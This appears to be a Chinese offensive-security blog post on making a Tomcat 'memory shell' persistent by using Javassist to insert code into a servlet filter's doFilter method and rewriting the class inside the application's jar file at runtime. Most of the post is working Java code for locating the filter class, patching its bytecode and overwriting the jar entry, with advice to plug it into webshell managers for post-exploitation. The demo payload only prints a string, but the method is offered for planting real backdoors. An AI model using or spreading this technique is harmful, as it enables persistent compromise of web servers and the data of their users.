666
起因
看到4ra1n师傅公开的一种特殊内存马,这种方法跟今年自己用到的一种Java持久化马有着异曲同工之妙,不过师傅搞的有点复杂了,并不需要重打包jar,只需要修改jar包中的关键class文件,Java提供了相关api类(JarFile)去实现相关的功能
而在jvm运行期间我们是能够对jar文件进行修改的,只是不能删除tomcat相关依赖包(猜测4ra1n师傅应该想的是删除相关jar包,再上传自己的jar包)而其他依赖包,例如shiro-web等等时可以删除并修改的(测试环境:shiroWeb,几个本地项目环境)
相关实现
我们以tomcat8.5.65 进行测试,其他中间件只要定位需要修改的类和jar路径即可,大同小异
这里我们希望实现修改任何的filter,插入我们的恶意代码。
首先我们先扫描出所有的filter,这里参考c0ny1 师傅的tomcat-memshell-scanner.jsp 就不贴代码了
这里有我们需要修改的jar文件绝对路径,而需要修改的class需要我们向父类查找doFilter方法,代码如下,className是我们扫描出的filterName,methodName是dofilter
public static Object getTrueMethod(String className, String methodName,Class...param) throws ClassNotFoundException {
if(className != null) {
Method method = null;
Class clazz = Class.forName(className);
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, param);
return clazz;
} catch (Exception e) {
}
clazz = clazz.getSuperclass();
}
}
return null;
}
得到我们需要修改的类后,借助javaassist,添加我们的恶意代码,而在类似tomcat这样的中间件下使用javaassist时,ClassPool必须添加如下代码,否则可能出现相关类找不到
ClassClassPath classPath = new ClassClassPath(this.getClass());
classPool.insertClassPath(classPath);
clazz = (Class) getTrueMethod(className, methodName, new Class[]
这里恶意代码使用打印字符串展示,各位师傅可自行构造恶意代码,完整代码如下
public void doInject() throws ClassNotFoundException {
Class clazz = null;
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(this.getClass());
classPool.insertClassPath(classPath);
clazz = (Class) getTrueMethod(className, methodName, new Class[]{ServletRequest.class, ServletResponse.class, FilterChain.class});
try {
CtClass CtServletRequest = classPool.get(ServletRequest.class.getName());
CtClass CtServletResponse = classPool.get(ServletResponse.class.getName());
CtClass CtFilterChain = classPool.get(FilterChain.class.getName());
String className = clazz.getName();
CtClass cc = classPool.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter",new CtClass[]{CtServletRequest,CtServletResponse,CtFilterChain});
m.insertBefore("System.out.println(\"test by change inject!!!!\");");
updateJar(jarName,className.replaceAll("\\.","/")+".class",cc.toBytecode());
}catch (Exception e){
e.printStackTrace();
}
}
而如果目标服务器没有相关javaassist环境,师傅们可利用热加载jar包添加环境再进行注入,或者手动编译相关class文件,再插入到相关jar文件中
得到恶意类后,我们借助jarFile修改相关jar文件,插入我们的恶意代码,并不需要停止tomcat,代码如下
public static byte[] readStream(InputStream inStream) throws Exception {
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = inStream.read(buffer)) != -1) {
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
public static void writeJarFile(String jarFilePath,String entryName,byte[] data) throws Exception{
JarFile jarFile = new JarFile(jarFilePath);
TreeMap tm = new TreeMap();
Enumeration es = jarFile.entries();
while(es.hasMoreElements()){
JarEntry je = (JarEntry)es.nextElement();
byte[] b = readStream(jarFile.getInputStream(je));
tm.put(je.getName(),b);
}
JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
Iterator it = tm.entrySet().iterator();
boolean has = false;
while(it.hasNext()){
Map.Entry item = (Map.Entry) it.next();
String name = (String)item.getKey();
JarEntry entry = new JarEntry(name);
jos.putNextEntry(entry);
byte[] temp ;
if(name.equals(entryName)){
temp = data;
has = true ;
}else{
temp = (byte[])item.getValue();
}
jos.write(temp, 0, temp.length);
}
if(!has){
JarEntry newEntry = new JarEntry(entryName);
jos.putNextEntry(newEntry);
jos.write(data, 0, data.length);
}
jos.finish();
jos.close();
}
至此完成对相关jar文件的修改,目标服务器重启后即可生效
案例
拿shiro举个例
本地环境某远 测试
总结
持久化内存马,应该属于后渗透,推荐各位师傅集成到冰蝎,哥斯拉这种webshell管理工具食用为佳
此方法并不仅仅局限于filter。listener,servlet,同样可以修改。
虽然jvm并不支持重新加载class文件,但是我们可以利用agent动态修改class,即使服务器不重启也可使我们的恶意filter生效,agent内存马已有大量师傅的优秀文章,不在此展开
没有细看tomcat加载的源码,不过4ra1n师傅这种方式是否可以给脚本文件不解析的任意文件上传漏洞带来一线生机?springboot打包成jar可能机会很小,其他环境未尝不可,膜拜下4ra1n师傅的骚思路